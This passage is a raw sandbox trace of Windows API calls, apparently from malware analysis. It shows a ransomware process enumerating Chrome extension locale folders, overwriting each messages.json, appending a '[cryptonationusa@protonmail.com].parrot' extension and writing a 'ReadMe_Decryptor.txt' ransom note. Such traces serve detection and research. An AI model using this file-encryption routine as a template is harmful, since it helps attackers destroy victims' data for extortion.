RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x190) returned 0x5d9288 [0059.465] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21f59c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb21f59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb21f59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0059.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0059.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.466] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0059.466] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21f59c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb21f59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb21f59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0059.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d94a0 | out: hHeap=0x5b0000) returned 1 [0059.466] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0059.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0059.466] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0059.466] lstrcmpW (lpString1="pt_PT", lpString2=".") returned 1 [0059.466] lstrcmpW (lpString1="pt_PT", lpString2="..") returned 1 [0059.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0059.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0059.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0059.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0059.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9420 [0059.466] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0059.607] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.607] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.607] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.607] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.607] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0059.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0059.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.607] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0059.608] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe0 [0059.608] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.608] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0059.608] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0059.609] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.609] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe0, lpOverlapped=0x0) returned 1 [0059.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0059.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0059.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0059.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0059.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0059.609] GetLastError () returned 0x0 [0059.625] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0059.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0059.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0059.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0059.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0059.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90f8 [0059.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0059.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0059.626] WriteFile (in: hFile=0x288, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0059.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0059.626] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.626] CloseHandle (hObject=0x288) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d90f8 [0059.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0248 [0059.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0059.627] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0059.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0059.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c7d8 | out: hHeap=0x5b0000) returned 1 [0059.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0059.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90f8 [0059.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5d9638 [0059.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0059.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0059.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0059.629] GetFileType (hFile=0x288) returned 0x1 [0059.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0059.709] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x190) returned 0x5d9420 [0059.709] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb23988e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb23988e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2456fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0059.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0059.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.709] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0059.709] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb23988e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb23988e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2456fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0059.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0059.709] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0059.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.710] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0059.710] lstrcmpW (lpString1="ro", lpString2=".") returned 1 [0059.710] lstrcmpW (lpString1="ro", lpString2="..") returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0059.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d90e8 [0059.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0059.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d95b8 [0059.710] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0059.710] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.710] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.710] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.710] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.710] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0059.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.711] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0059.711] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xde [0059.711] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.711] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0059.711] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0059.712] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.712] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xde, lpOverlapped=0x0) returned 1 [0059.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0059.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0059.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0059.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0059.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0059.712] GetLastError () returned 0x0 [0059.713] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0228 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0059.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0370 [0059.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0059.714] WriteFile (in: hFile=0x288, lpBuffer=0x5d0370*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0370*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0059.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x5b0000) returned 1 [0059.715] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.715] CloseHandle (hObject=0x288) returned 1 [0059.716] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0228 